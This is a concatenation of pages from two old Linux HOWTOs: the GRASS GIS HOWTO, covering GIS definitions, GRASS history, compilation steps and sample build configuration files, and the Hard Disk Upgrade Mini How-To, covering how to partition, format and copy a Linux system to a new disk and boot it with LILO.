    1. The Spearfish data base covers two 7.5 minute topographic sheets in the northern Black Hills of South Dakota, USA. It is in the Universal Transverse Mercator Projection. It was originally created by Larry Batten (now of the Environmental Systems Research Institute's office in Boulder, Colorado) while he was with the U. S. Geological Survey's EROS Data Center in South Dakota. The data base was enhanced by USA/CERL and cooperators. It is an excellent, and well-used (there are many training materials available for GRASS with this data base) example of a county-scale GIS project in the UTM projection.

    2. The Global data base was developed by Bob Lozar of USA/CERL to prototype a latitude-longitude "projection" data base in GRASS for global environmental study and decision support.

    Starting with these two examples, you can build your own data bases in UTM and latitude-longitude projections. (Note, many people don't call latitude-longitude a projection. Others disagree, saying that anything that transfers the Earth's surface to two dimensions is a projection.. We'll stay away from that debate here. Needless to say, lat-lon is treated as other projections are by the computer program.)

Prev | Home | Next
How to Acquire GRASS |  | Web-based Support for GRASS (and for GIS Matters in General)


A Re-Invogorated GRASS Management Model

The Geographic Information Systems: GRASS HOWTO
Prev Next

3.1. A Re-Invogorated GRASS Management Model

In late 1997, a group at Baylor University took the lead in developing a new Website for GRASS. This quickly developing Website contains GRASS 4.1 source code and Sun Solaris binaries, GRASS 4.1 documentation, and an on- line manual. By November 1997 this site posted the first version of GRASS 4.2 source code and binaries currently for Sun Solaris) with Linux and Windows NT under consideration). GRASS 4.2 incorporates several enhancements from the CERL website, plus some of Baylor's own enhancements. Documentation for GRASS 4.2 is appearing; the group encourages cooperation in further development of GRASS, and is looking for partners. It hopes to use increased use of the World Wide Web in developing and managing GRASS. GRASS 5 development and compilation is underway. The site also links to the Blackland GRASS site at Texas A & M University, for those desiring very inexpensive access to GRASS for Windows 95.

Prev | Home | Next
A Brief History of GRASS |  | Continued Assessment of Future GRASS Management


GRASS 4.2 Quick Start

The Geographic Information Systems: GRASS HOWTO
Prev C. Acquisition/Compilation of GRASS Source Code Next

C.1. GRASS 4.2 Quick Start

Installation Instructions

Warning

These instructions pertain to the 4.2 release of GRASS. Users are urged to consult the complete installation guide for more detailed instructions.

$GIS/src -
This directory contains scripts and files used to compile  GRASS.
By  running  scripts  and changing lists of programs you generate
GRASS binaries for your system.

You may mount a disk containing GRASS source on different types
of machines and compile without making source code copies.  You
follow the following instructions for each machine.

WARNING: These instructions presume that you have familiarity with
UNIX, C, make, and shell scripting.  Murphy's law visits GRASS
regularly and your expertise in these matters will be the best
defense against Mr. Murphy.

WARNING: These instructions and scripts have been used to compile
GRASS on various machines.  Please mail results of using this
information for compiling GRASS on your platforms and operating
system to:

grass@baylor.edu

DIRECTORY CONTENTS

    GISGEN      script which will compile GRASS

    MAKELINKS   script used after GISGEN to establish the user executable
                commands

    VERSION     current version number and date of the GRASS release

    generic/    system independent files need by gmake
                  gmake     shell script which does compilations
                  make.def  make variables
                  make.tail some additional make rules

    head/       gmake header file(s) for this site.  Header files are
                  created by running the utils/setup command.

    lists/      lists of programs to be compiled
                  GRASS     standard GRASS programs
                  local     site specific GRASS programs
                  ...       architecture dependent GRASS programs

    next_step/  files used by GISGEN to keep track of how far along
                it is in the compilation. Used to restart
                GISGEN (after a failure) where it left off.

    utils/      contains the 'setup' script and all support scripts
                and files needed by 'setup'

COMPILATION STEPS OVERVIEW

 (1) Generate files that contain location and machine specific make
    information.

 (2) Edit files containing lists of location and machine specific
     programs to be compiled (generally printer, digitizer, and graphics
     drivers).

 (3) Run GRASS compilation script

 (4) Run GRASS program linking script

 (5) Edit device driver configuratin files

 (6) Compile GRASS contributed, alpha programs.

 (7) Compile GRASS related and hybrid programs.

COMPILATION STEPS (DETAILS)

(1) Generate make support files

Each machine and location needs to have GRASS compiled in ways that specify
different:

     compilation and load flags
     system libraries
     installation directories
     idefault data bases and locations

The shell script utils/setup assists you in define many of the make
options and definitions that will become part of every compile-time
generated makefile (about 350).  It also creates your shell script for
compiling individual GRASS programs - gmake4.2.

Run "utils/setup" and answer the questions.

The makefile portions are placed in the head/ under a name which you
specify/approve in the utils/setup process.  The executable shell script
which directs compilation is placed in (by default) /usr/local/bin.

Examine the just created file in head/ to make sure things are ok.
A brief description for each defined variable follows:

  ARCH            = Key name identifying the architecture of the machine
                    on which you are compiling GRASS.
  GISBASE         = Directory into which compiled GRASS will be contained
  UNIX_BIN        = Local directory where the GRASS entry program and gmake
                    will be contained

  DEFAULT_DATABASE= Directory where local GRASS data bases are contained
  DEFAULT_LOCATION= GRASS data base that users get as the first default

  COMPILE_FLAGS   = Compilation flags
  LDFLAGS         = Load flags

  TERMLIB         = System library containing low-level cursor movement
  CURSES          = System library that supports screen cursor control
  MATHLIB         = System math library
  LIBRULE         = Method for archiving and randomizing libraries

  USE_TERMIO      = Flag to use the termio library if available
  USE_MTIO        = Flag to use the mtio library if available
  CAN_CLEAR       = Flag indicating that the terminal screen can be cleared
  DIGITFLAGS      = Flags to set owner and priority of the v.digit program

(2) Edit files containing lists of location and machine specified programs

The directory lists/ contains files that list directories that will
be compiled.  Directory names are relative to the GRASS src
directory.  The file lists/GRASS lists all basic GRASS programs that
get compiled at every site.  The file lists/local and lists/$ARCH.

    -----------------------------------------------------------------
    $ARCH is the architecture name you approved while running the
    utils/setup script.  You can determine this by running:
        gmake4.2 -sh | grep ARCH
    -----------------------------------------------------------------

There man not be a lists/$ARCH file, but you are free to create it to
add names of programs you want compiled specifically for this
architecture.  It is an architecture-specific list which allows NFS
linked source code to compile one set of programs for one machine,
and another set for another machine.  All machines that share the
same source code via NFS mounts will compile the directories listed
in lists/local.

All lists may contain comment lines - indicated by a # as the first
character in the line.  The lists/local file contains lists of all
digitizer, graphics, and paint (hard-copy map) drivers.  All machine
specific devices are commented out - you must uncomment those that
are particular to your site or architecture.  You are encouraged to
move the graphics driver items to the appropriate lists/$ARCH file.

(3) Run GRASS compilation program

The script GISGEN drives the compilation process.  If all goes well
you will be able to simply enter the command GISGEN and wait.  The
entire compilation process takes from about 1/2 hour on the faster
workstations to about 8 hours on the slower workstations.

GISGEN collects all of the directory names to be compiled from lists/GRASS
lists/$ARCH and lists/local and begins running gmake4.2 in each directory.
Screen output is a collection of messages from GISGEN and from the UNIX
make program.  Failure at any step will halt compilation.  On failure
you might do one of the following things:

  1 - Fix a compilation problem by modifying code in the directory that
      failed.  After modification, return to this directory and rerun
      GISGEN.  Compilation will pick up at the failed directory and continue
      down the list of directories if successful.

  2 - Restart GISGEN.  If the failure requires modifications to code already
      compiled, or the compilation options you set in step 1, you must
      remove next_step/$ARCH (or next_step/next_step if ar architecture name
      was not specified in step 2.  You may then rerun GISGEN.

  3 - Skip the failed directory.  In this case you must seek through the
      files list/GRASS lists/$ARCH and lists/local to determine the directory
      name that follows the failed directory name.  The failed name is in
      next_step/$ARCH and must be replaced in that file with the next name.
      After editing, rerun GISGEN

When complete GISGEN will put the word DONE into the next_step file and will
print the phrase "DONE generating GIS binary code" to the screen.

(4) Run GRASS program linking script

The GISGEN directs a compilation process that stashes the GRASS programs
away in directories unavailable to the user community.  Most user commands
are actually links to a single program called "front.end".  Links to this
program must be made for every actual GRASS program.  This is done AFTER
GISGEN is finished.  To make (or re-make) links for all user programs
run the script MAKELINKS.

(5) Edit device driver configuratin files

Your compiled system may any combination of several graphics, paint, and
digitizer drivers.  Refer to the GRASS installation instructions for
details.

NOTE:  If you have trouble compiling your graphics driver, go to the directory
$GIS/src/display/devices and compile the proper drivers manually using gmake4.2.

(6) Compile GRASS contributed, alpha programs.

GRASS programs come in three flavors:

  MAIN - The programs are those compiled in step 3.  They have stood the
         test of time and are generally reliable programs.

  ALPHA - Alpha programs are intended to be included with the MAIN programs
         in the next release.

  CONTRIB - Sites generate lots of special purpose programs in GRASS to get
         some job done, but do not polish the effort sufficiently to
         even be considered alpha code can be distributed in this category.

ALPHA programs are found in the directory src.alpha.  You, the installer
may visit these programs and compile any that you desire.  In directories
that contain Gmakefile files, simply run: gmake4.2

CONTRIB programs are in the directory src.contrib.  The state of these
programs are varied.  Some programs may compile with gmake4.2; others
are suitable as a starting point for programmers who will be writing
new software.

(7) Compile GRASS related and hybrid programs.

The GRASS user community has discovered that there are several public-domain
programs that are very useful in conjunction with GRASS.  These are found
in the directory src.related.  Compile these programs based on instructions
(or lack of instructions) in the individual directories.

Hybrid programs are those that mix the capabilities of GRASS with the
capabilities of one or more of the "related" programs.  These are found
in the src.garden directory.  They require successful compilation of
the "related" programs and generally compile using the gmake4.2 and
the included Gmakefile files.

The rest of the compilation should just take some time.  If you have
already installed GRASS binaries, you should back up your system (or
at least get the working binaries out of the way of your
compilation!).

Good Luck!  And be secure in the likelihood that you can use the
compiled binaries if you bail out of a full compilation of the source
code.

Prev | Home | Next
Acquisition/Compilation of GRASS Source Code | Up | Enhancing GRASS


References

The Geographic Information Systems: GRASS HOWTO
Prev Next

10. References

For general reference material on GIS, try a very good technical bookstore (in many cases these are campus bookstores at schools with good GIS programs or top-notch technical or general bookstores - you know that ones are near you..), or the following URL for the CyberInstitute Short Course on Geographic Information Systems (convened by myself):

Also check Baylor University's growing GRASS Home Page and USA/CERL's GRASS Home Page

For a good collection of references on GRASS, try this procedure, to load up on reference goodies from USA/CERL:

ftp moon.cecer.army.mil
login: anonymous
password: your email address
cd pub/grass/grass4.1/outgoing
image
get grassman.ps.Z  (or grassman.txt.Z, or grassman.wp.Z)
cd ../documents/programmer/postscript
image
get progman.ps.Z
cd ../../user/postscript
image
get refman.ps.Z
cd ../..
image
get installGuide.ps.Z
bye

uncompress grassman.ps.Z
uncompress progman.ps.Z
uncompress refman.ps.Z
uncompress installGuide.ps.Z

lpr *.ps   (or whatever is appropriate for your environment)

  • installGuide => The GRASS Installation Guide (you need this to compile GRASS source code)

  • grassman => The GRASS Beginner's Manual (intro to GRASS)

  • refman => The GRASS User's Reference Manual (function guide)

  • progman => The GRASS Programmer's Manual (and administrator's guide - this is valuable for info about data formats, etc.)

Browse around the ftp site noted just above, and you may find more stuff of interest. Particularly in the pub/grass/grass4.1/documents directory, there are tutorials on advanced GRASS functions such as r.mapcalc (think of this as math applied to raster arrays), r.combine and r.weight (think of this as how to combine spatial submodels into one type of model), and others.

Prev | Home | Next
Copyright Notice, and Notice on Support of this Document |  | Acquisition/Installation of GRASS4.13 Binaries


System Requirements for GRASS

The Geographic Information Systems: GRASS HOWTO
Prev Next

4. System Requirements for GRASS

Minimum requirements include:

  • 8 Mbytes of memory (of course, more is better..)

  • 100 Mbytes of free disk space

  • ~40 mb for executables,

  • ~40 mb for source code (which you can ignore if you merely install the Linux binaries)

  • ~? for data (the veritable bottomless pit can be filled with data, if you so choose)

GRASS runs on Linux kernel versions as old as 1.2.13 (see more information in the appendices for various specific binaries).

GRASS will run in text mode. However, for displays of data, you will need X. If you are still running a version of X, it will probably work with GRASS.

If you find any other hardware/OS requirements that should be mentioned, please let me know!

Prev | Home | Next
Continued Assessment of Future GRASS Management |  | How to Acquire GRASS


Sample Files

The Geographic Information Systems: GRASS HOWTO
Prev

E. Sample Files

Example Linux versions of some critical GRASS files

This appendix is the home of Linux-specific examples of selected GRASS configuration files. Currently, only several examples of a single file are offered. However, this is the most important file for configuration! Later, examples of database configuration files (e.g. DEFAULT_WIND) and other files may appear.

In the Installation Guide (pp. 10-11) you will see mention of the [header] file in directory $GIS/src/CMD/header (where $GIS is the directory in which you place GRASS - some folks put this in /usr/local - I put everything in a GRASS' own filesystem/directory /user/grass4.1). The installation guide favors Sun systems, as these were the development environment for GRASS4. (In case you cared, Masscomp workstations were earlier development environments.) Below are examples of this <header> file for linux (which you might want to name linux in your $GIS/src/CMD/header directory. You may want to refer to this section when running the setup ($GIS/src/CMD/utils/setup) command.

One version:

CC                  = gcc
ARCH                =

GISBASE             = /user/grass4.1
UNIX_BIN            = /user/grass4.1/bin

DEFAULT_DATABASE    = /user/grass4.1/data
DEFAULT_LOCATION    = china

COMPILE_FLAGS       = -O2
LDFLAGS             = -s

XCFLAGS             = -D_NO_PROTO -DXM_1_1_BC
XLDFLAGS            =
XINCPATH            =
XMINCPATH           =
XLIBPATH            =
XTLIBPATH           = -L/usr/lib
XMLIBPATH           = -L/usr/lib
XLIB                = -lX11
XTLIB               = -lXt
XMLIB               = -lXm
XEXTRALIBS          =

TERMLIB             =
CURSES              = -lcurses $(TERMLIB)
MATHLIB             = -lm

#                   LIBRULE = ar ruv $@ $?
#                   LIBRULE = ar ruv $@ $?; ranlib $@
#                   LIBRULE = ar ruv $@ $?; ar ts $@
#                   LIBRULE = ar rc $@ `lorder $(OBJ) | tsort`
LIBRULE             = ar ruv $@ $?

USE_TERMIO          = -DUSE_TERMIO
USE_MTIO            = -DUSE_MTIO
USE_FTIME           = -DUSE_FTIME
DIGITFLAGS          = -DUSE_SETREUID -DUSE_SETPRIORITY
VECTLIBFLAGS        =
GETHOSTNAME         = -DGETHOSTNAME_OK

Another version:

#CC                  = gcc
#CC                  = gcc -ggdb -traditional
CC                  = gcc -traditional
#CC                  = gcc -static

ARCH                = linux

GISBASE             = /usr2/local/grass/grass4.1
UNIX_BIN            = /usr/local/bin

DEFAULT_DATABASE    = /usr2/local/grass
DEFAULT_LOCATION    = grass4.1

COMPILE_FLAGS       =
#COMPILE_FLAGS       = -O
LDFLAGS             = -s

XCFLAGS             = -D_NO_PROTO
XLDFLAGS            =
XINCPATH            = -I$GISBASE/xgrass
#XINCPATH            =
XMINCPATH           =
XLIBPATH            = -L/usr/lib
XTLIBPATH           = -L/usr/lib
XMLIBPATH           = -L/usr/lib
XLIB                = -lX11
XTLIB               = -lXt
XMLIB               = -lXm
XEXTRALIBS          =

TERMLIB             =
CURSES              = -lcurses $(TERMLIB)
MATHLIB             = -lm

#                   LIBRULE = ar ruv $@ $?
#                   LIBRULE = ar ruv $@ $?; ranlib $@

#                   LIBRULE = ar ruv $@ $?; ar ts $@
#                   LIBRULE = ar rc $@ `lorder $(OBJ) | tsort`
LIBRULE             = ar ruv $@ $?; ranlib $@

USE_TERMIO          = -DUSE_TERMIO
USE_MTIO            = -DUSE_MTIO
USE_FTIME           = -DUSE_FTIME
DIGITFLAGS          = -DUSE_SETREUID -DUSE_SETPRIORITY
VECTLIBFLAGS        =
GETHOSTNAME         = -DGETHOSTNAME_OK

Another version:

#CC                  = gcc -traditional -ggdb
CC                  = gcc -traditional -m486
#CC                  = gcc
ARCH                = linux

GISBASE             = /usr/local/grass/grass4.1
UNIX_BIN            = /usr/local/bin

DEFAULT_DATABASE    = /usr/local/grass
DEFAULT_LOCATION    = grass4.1

COMPILE_FLAGS       = -O2
LDFLAGS             = -s

XCFLAGS             = -D_NO_PROTO -DXM_1_1_BC
XLDFLAGS            =
XINCPATH            =
XMINCPATH           =
XLIBPATH            = -L/usr/lib
XTLIBPATH           = -L/usr/lib
XMLIBPATH           = -L/usr/lib
XLIB                = -lX11
XTLIB               = -lXt
XMLIB               = -lXm
XEXTRALIBS          = -lXmu

TERMLIB             =
CURSES              = -lcurses $(TERMLIB)
MATHLIB             = -lm

#                   LIBRULE = ar ruv $@ $?
#                   LIBRULE = ar ruv $@ $?; ranlib $@
#                   LIBRULE = ar ruv $@ $?; ar ts $@
#                   LIBRULE = ar rc $@ `lorder $(OBJ) | tsort`
LIBRULE             = ar ruv $@ $?; ranlib $@

#USE_TERMIO          = #-DUSE_TERMIO
USE_TERMIO          = -DUSE_TERMIO
USE_MTIO            = -DUSE_MTIO
USE_FTIME           = -DUSE_FTIME
DIGITFLAGS          = -DUSE_SETREUID -DUSE_SETPRIORITY
VECTLIBFLAGS        =
GETHOSTNAME         = -DGETHOSTNAME_OK

Yet another version:

CC                  = cc
ARCH                = linux

GISBASE             = /usr/local/grass4.15/linux
UNIX_BIN            = /usr/local/grass4.15/linux

DEFAULT_DATABASE    = /data/grassdata
DEFAULT_LOCATION    =

# -fwritable-strings - for ps.map only
#COMPILE_FLAGS       = -O -m486 -fwritable-strings
COMPILE_FLAGS       = -O -m486
LDFLAGS             = -s

XCFLAGS             = -D_NO_PROTO
XLDFLAGS            =
XINCPATH            =
XMINCPATH           =
XLIBPATH            = -L/usr/X11R6/lib
XTLIBPATH           = -L/usr/lib
XMLIBPATH           = -L/usr/lib
XLIB                = -lX11
XTLIB               = -lXt
XMLIB               = -lXm
XEXTRALIBS          =

TERMLIB             =
CURSES              = -lcurses $(TERMLIB)
MATHLIB             = -lm

#                   LIBRULE = ar ruv $@ $?
#                   LIBRULE = ar ruv $@ $?; ranlib $@
#                   LIBRULE = ar ruv $@ $?; ar ts $@
#                   LIBRULE = ar rc $@ `lorder $(OBJ) | tsort`
LIBRULE             = ar ruv $@ $?

USE_TERMIO          = -DUSE_TERMIO
USE_MTIO            = -DUSE_MTIO
USE_FTIME           = -DUSE_FTIME
DIGITFLAGS          = -DUSE_SETREUID -DUSE_SETPRIORITY
VECTLIBFLAGS        = -DPORTABLE_3
GETHOSTNAME         = -DGETHOSTNAME_OK

Intimidating? It probably shouldn't be if you've configured X Windows on your Linux box. These examples should give you patterns to look for when running the setup utility in GRASS (described in the Installation Guide).

Prev | Home
Enhancing GRASS |


Web-based Support for GRASS (and for GIS Matters in General)

The Geographic Information Systems: GRASS HOWTO
Prev Next

7. Web-based Support for GRASS (and for GIS Matters in General)

Support for a public domain program? No way, they say! Actually, as a user of Linux, you probably know better.

GRASS started by having a GRASS Information Office at USA/CERL. There were also very active users outside USA/CERL, who provided valuable user support. GRASS had annual users' meetings, listservers for users and developers, etc. Companies provided value added support services on a contractual or fee basis.

Various people have developed valuable books and training materials on GRASS. Several universities used to conduct training courses in GRASS. I don't know how many of these are continuing. If training courses interest you, try asking on the usenet newsgroup comp.infosystems.gis (see below for more on this newsgroup).

Valuable "books" available on the Internet are noted in the References (Section 10).

World Wide Web-based training materials, including training in GRASS, are highlighted in the CyberInstute Short Course in GIS (then scan down for the link(s) to Web-based tutorials in GIS).

One of the better GRASS tutorials is Project Assist's - Intro to GRASS

Other good sites:

Central Washington University was an early GRASS user and training facility

Starting the hunt for mostly free spatial data by Stephan Pollard This is based at the Center for Advanced Spatial Technology of the University of Arkansas, another early educator with GRASS.

Purdue University has several GRASS features

USA/CERL's online GRASS manual

Rutgers University's GRASS Information Center at the Center for Remote Sensing and Spacial Analysis

The REGIS project at The University of California at Berkeley has a Linux version of GRASS available via ftp, and also has a Web-based version of GRASS called GRASSLINKS.

After getting trained by the books and Web-based tutorials noted just above, where do you turn to for specific advice???

Probably the best source of support these days is usenet newsgroup comp.infosystems.gis If you're not familiar with newsgroups, ask your network administrator or Internet service provider. comp.infosystems.gis contains modestly heavy traffic on such topics as

  • "how do I find data on this topic for this area?"

  • "how do I convert these data for use in my Aardvark GIS?"

  • "how do I get this function to work in my Aardvark GIS?"

  • "which GIS can I use to solve my particular problem?"

GRASS used to be one of the top GISs discussed on this group. Traffic in GRASS is dropping slightly, as its user community matures. However, there are usually answers to your questions, if you post them. You might also do a "power search" on subject:GRASS [& your own subject of interest here?] and newsgroup:comp.infosystems.gis in DejaNews to see what might appear from the usenet archives.

Prev | Home | Next
How to Get GRASS Running on Your Linux-based Computer. |  | The Future of GRASS?


What is a GIS?

The Geographic Information Systems: GRASS HOWTO
Prev Next

1. What is a GIS?

There are many ways to describe a Geographic Information System. Here are three working definitions (from David A. Hastings, 1992, Geographic Information Systems: A Tool for Geoscience Analysis and Interpretation):

  1. (The minimal definition): A GIS is a hardware/software system for the storage, management, and (with hardcopy or screen graphic) selective retrieval capabilities of georeferenced data. Definitions like this one are often used by vendors and users of vector-only GIS, whose objective is sophisticated management and output of cartographic data.

  2. (A parallel definition): A GIS is a hardware/software system for managing and displaying spatial data. It is similar to a traditional Data Base Management System, where we now think in spatial rather than in tabular terms, and where the "report writer" now allows output of maps as well as of tables and numbers. Thus we can consider a GIS a "spatial DBMS" as opposed to traditional "tabular DBMSs." Few people use this definition, but it might help to explain GIS to a DBMS user.

  3. (A more aggressive definition): A GIS is a system of hardware, software, and data that facilitates the development, enhancement, modeling, and display of multivariate (e.g. multilayered) spatially referenced data. It performs some analytical functions itself, and by its analysis, selective retrieval and display capabilities, helps the user to further analyze and interpret the data. Properly configured, the GIS can model (e.g. synthetically recreate) a feature or phenomenon as a function of other features or phenomena which may be related - where all features or phenomena are represented (characterized) by spatial and related tabular data. The analytical objectives described here are sometimes controversial - and often given lip service by cartographic GIS specialists who have not yet seen what can be accomplished scientifically by a select few GISs that go beyond cartographic approaches.

  4. Another definition can be found at the University of Edinburgh.

Prev | Home | Next
The Geographic Information Systems: GRASS HOWTO |  | What Is GRASS?


What Is GRASS?

The Geographic Information Systems: GRASS HOWTO
Prev Next

2. What Is GRASS?

GRASS (Geographic Resources Analysis Support System) is a public domain raster based GIS, vector GIS, image processing system, and graphics production system. Created by the US Army Corps of Engineers, Constriction Engineering Research Laboratory (USA/CERL) and enhanced by many others, it is used extensively at government offices, universities and commercial organizations throughout the world. It is written mostly in C for various UNIX based machines. Linux is one of its more robust implementations.

GRASS contains over 40 programs to render images on monitor and paper; over 60 raster manipulation programs; over 30 vector manipulation programs; nearly 30 multi-spectral image processing manipulation programs; 16 data management programs; and 6 point file management programs.

GRASS' strengths lie in several fields. The simple user interface makes it an ideal platform for those learning about GIS for the first time. Users wishing to write their own code can do so by examining existing source code, interfacing with the documented GIS libraries, and by using the GRASS Programmers' Manual. This allows more sophisticated functionality to be fully integrated within GRASS.

Other strengths include GRASS' pioneering of mixed resolutions in a data base, mixed geographic coverage areas in a data base, raster image compression techniques via run-length encoding and reclassification lookup tables, GRASS' rescaling of display images on the fly to fill the display screen, plus its fundamental design criterion of powerful computer-assisted scientific analysis of environmental issues (as opposed to merely going for intricate cartographic output of relatively simple processes).

GRASS is usually supplied as free, non-copyright source code to be compiled on host machines. Some compiled binaries are also easily obtainable at no cost via the Internet. It runs on a variety of UNIX platforms.

Copied from Project Assist Intro to GRASS.

Prev | Home | Next
What is a GIS? |  | A Brief History of GRASS


Acknowledgements

Hard Disk Upgrade Mini How-To
Prev

13. Acknowledgements

Thanks to Scott Christensen, Frank Damgaard, Alexandre Fornieles, David Fullerton, Igor Furlan, Jerry Gaines, Chris Gillespie, Nicola Girardi, Per Gunnar Hansoe, Richard Hawes, Ralph Heimueller, Gerald Hermant, Andy Heynderickx, Paul Koning, Hannu Liljemark, Claes Maansson, Rick Masters, Jason Priebe, Josh Rabinowitz, Douglas Rhodes, Valentijn Sessink, Kragen Sitaker, Stephen Thomas, and Gerald Willman.

This document may be translated into any language. If you do so, please send a copy of the translation to Konrad Hinsen <hinsen@cnrs-orleans.fr>.

Prev | Home
Reboot the system, modify LILO configuration file |


Make a boot diskette (optional)

Hard Disk Upgrade Mini How-To
Prev Next

10. Make a boot diskette (optional)

If you wish, you can make a boot diskette, in case you run into problems when trying to boot the new disk.

Insert an empty diskette, format it, create a file system on it and mount it:
fdformat /dev/fd0H1440
mkfs.ext2 /dev/fd0
mount -t ext2 /dev/fd0 /mnt

Debian only. With Debian 2.x, use /dev/fd0u1440 instead of /dev/fd0H1440. With Debian 1.x, use /dev/fd0h1440, with a lower case h.

Debian only. With Debian 2.x, use superformat instead of fdformat. You can ignore the error mformat: command not found. With Debian 1.x, if you don't have the command fdformat, you can omit it if the floppy is already formatted. In this case, you should check the diskette for bad blocks by adding -c after the mkfs.ext2 command.

Slackware only. Use /dev/fd0u1440 instead of /dev/fd0H1440. With older versions, try /dev/fd0h1440, with a lower case h.

SuSE only. Use /dev/fd0u1440 instead of /dev/fd0H1440.

Copy all files in /boot to the diskette:
cp -dp /boot/* /mnt

Red Hat only. If the /boot directory contains both vmlinux and vmlinuz files (note the difference in the last letter), you only need to copy the vmlinuz files to the boot diskette. They are the same as the vmlinux files, except that they're compressed to save space.

Slackware only. Copy the file /vmlinuz to the boot diskette; use the command cp /vmlinuz /mnt.

Create a new file /mnt/lilo.conf as follows:
boot=/dev/fd0                 # Install LILO on floppy disk.
map=/mnt/map                  # Location of "map file".
install=/mnt/boot.b           # File to copy to floppy's
                              # boot sector.
prompt                        # Have LILO show "LILO boot:"
                              # prompt.
timeout=50                    # Boot default system after 5
                              # seconds. (Value is in tenths of
                              # seconds.)
image=/mnt/vmlinuz            # Location of Linux kernel on
                              # floppy. The actual name may
                              # include a version number, for
                              # example "vmlinuz-2.0.35".
    label=linux               # Label for Linux system.
    root=/dev/hda1            # Location of root partition on
                              # new hard disk. Modify this as
                              # appropriate for your system.
                              # Note that you must use the name
                              # of the future location, once the
                              # old disk has been removed.
    read-only                 # Mount partition read-only at
                              # first, to run fsck.

Install LILO on the boot diskette:
/sbin/lilo -C /mnt/lilo.conf

The -C option tells LILO what configuration file to use.

Unmount the diskette:
umount /mnt

Prev | Home | Next
Prepare LILO to boot the new disk |  | Remove the old disk


Copy the files from the old disk to the new disk

Hard Disk Upgrade Mini How-To
Prev Next

7. Copy the files from the old disk to the new disk

You might want to go to single-user mode before starting to copy the disk, in order to shut down the system daemons and preserve the state of the logs, and to prevent users from logging in:
/sbin/telinit 1

When copying the hard disk, you want to copy all directories and files, including links.

However, you don't want to copy the directory /new-disk, since this would copy the new disk to itself!

Furthermore, you want to create the /proc directory on the new disk, but you don't want to copy its contents: /proc is a virtual file system and doesn't have any actual files, but rather contains information on the processes running on the system.

Here are three different ways to copy the old disk to the new one. This may take quite a while, especially if you have a large disk or little memory. You can expect to be able to copy 10 Mb per minute, and possibly much more.

You can follow the copy's progress by using the command df from another terminal. Try watch df or watch ls -l /new-disk to see a report updated every two seconds; press Ctrl-C to end the display. Be aware that running the watch program itself will slow down the copying.

cp -ax / /new-disk

This is the simplest method, but will only work if your original Linux system is on a single disk partition.

The -a option preserves the original system as much as possible. The -x option limits cp to a single file system; this is necessary to avoid copying the /new-disk and /proc directories.

SuSE only. With this method only, you must also create the directory /dev/pts on the new disk. Use the command mkdir /new-disk/dev/pts".

Note: When using the -x option, recent versions of cp will create the directories /new-disk/new-disk and /new-disk/proc, although the directories will be empty. If these directories are created, you should delete /new-disk/new-disk, and keep /new-disk/proc.

cd / && echo cp -a `/bin/ls -1Ab | egrep -v "^new-disk$|^proc$"` /new-disk | sh

(write this all on one line)

This goes to the root directory and then copies all files and directories except /new-disk and /proc to /new-disk. Note that the first option after ls is the number 1, not the letter L!

This command should work in all circumstances.

cp -a /bin /boot /dev /etc /home /lib /lost+found /mnt /root /sbin /tmp /usr /var /new-disk

(write this all on one line)

The last directory, /new-disk, is the destination for the cp command. All the other directories are the sources. Therefore, we're copying all the directories we're listing to /new-disk.

With this method, you simply list yourself the directories you want to copy. Here we listed all the directories except /new-disk and /proc. If you can't use the other methods for any reason, you can always use this command to manually specify the directories you want to copy.

With this method only, if there are any files in the root directory itself, you need another command to copy them. In particular, this is required with Debian and Slackware, since these distributions put files in the root directory:
cp -dp /* /.* /new-disk

Previous versions of the Mini How-To stated that you could also use tar to copy the disk, but this method was found to have a bug. There are of course many other ways to copy the disks, but these three are the simplest, quickest, and most reliable.

After using any of these three methods, you must also create the /proc directory on the new disk, if it doesn't already exist:
mkdir /new-disk/proc

At this point, you may verify the file structure on the new disk, if you wish:
umount /new-disk
fsck.ext2 -f /dev/hdb1
mount -t ext2 /dev/hdb1 /new-disk

If the new disk has more than one partition, you must unmount them from the bottom up before running fsck.ext2: in the example mentioned above, you'd first unmount the 3rd level partitions, then the 2nd level partitions, and then the 1st level partition.

You may also compare the two disks, to ensure that the files were copied properly:
find / -path /proc -prune -o -path /new-disk -prune -o -xtype f -exec cmp {} /new-disk{} \;

(write this all on one line)

Slackware only. A basic Slackware installation ("A" series only) doesn't include the cmp command, so you won't be able to run this command if you have only installed the basic files. The cmp command is in the "AP1" series.)

This will only compare regular files, not character or block special files (in the /dev directory), sockets, etc., since the cmp command doesn't work properly with these. We would welcome suggestions on how to verify these "special" files.

Prev | Home | Next
Mount the new disk |  | Modify /new-disk/etc/fstab as appropriate


Format the new disk

Hard Disk Upgrade Mini How-To
Prev Next

5. Format the new disk

Use the following command to format Linux partitions using ext2fs on the new disk:
mkfs.ext2 /dev/hdb1

To check the disk for bad blocks (physical defects), add the -c option just before /dev/hdb1.

If the new disk will have more than one Linux partition, format the other partitions with mkfs.ext2 /dev/hdb2, mkfs.ext2 /dev/hdb3, and so on. Add the -c option if desired.

Note: With older distributions, the command mkfs -t ext2 -c /dev/hdb1 didn't check for bad blocks under any of Red Hat, Debian or Slackware, contrary to what the man page stated. This has now been fixed.

To format a swap partition, use this command:
mkswap /dev/hdb1

Again, you can add the -c option before /dev/hdb1 to check for bad blocks.

Prev | Home | Next
Partition the new disk |  | Mount the new disk


Hard Disk Upgrade Mini How-To

Yves Bellefeuille

yan@storm.ca

Konrad Hinsen

hinsen@cnrs-orleans.fr

v2.11, 13 April 2000

How to copy a Linux system from one disk to another.

Table of Contents
1. Introduction
2. Install both disks on your system
3. Unmount non-Linux partitions and network drives
4. Partition the new disk
5. Format the new disk
6. Mount the new disk
7. Copy the files from the old disk to the new disk
8. Modify /new-disk/etc/fstab as appropriate
9. Prepare LILO to boot the new disk
10. Make a boot diskette (optional)
11. Remove the old disk
12. Reboot the system, modify LILO configuration file
13. Acknowledgements
Next
Introduction


Install both disks on your system

Hard Disk Upgrade Mini How-To
Prev Next

2. Install both disks on your system

Modern systems can accept four EIDE devices on the hard disk controller, so there shouldn't be any problem installing both disks on your system at the same time, even if you also have other EIDE devices. Hard disks and CD-ROM drives are typical EIDE devices. Floppy drives and tape drives are usually connected to the floppy drive controller rather than to the hard disk controller.

SCSI adapters are even more flexible and can accept seven devices. If you're lucky (and rich) enough to have a SCSI adapter, you probably already know this, and you probably know which of your devices are SCSI devices! For more information, see the SCSI How-To.

Even the oldest systems can accept two devices on the hard disk controller, so you can still install both hard disks at the same time. However, if you already have another device installed in addition to your hard disk (for example, if you have both a hard disk and a CD-ROM drive), you'll have to remove the other device to be able to install the old hard disk and the new hard disk at the same time.

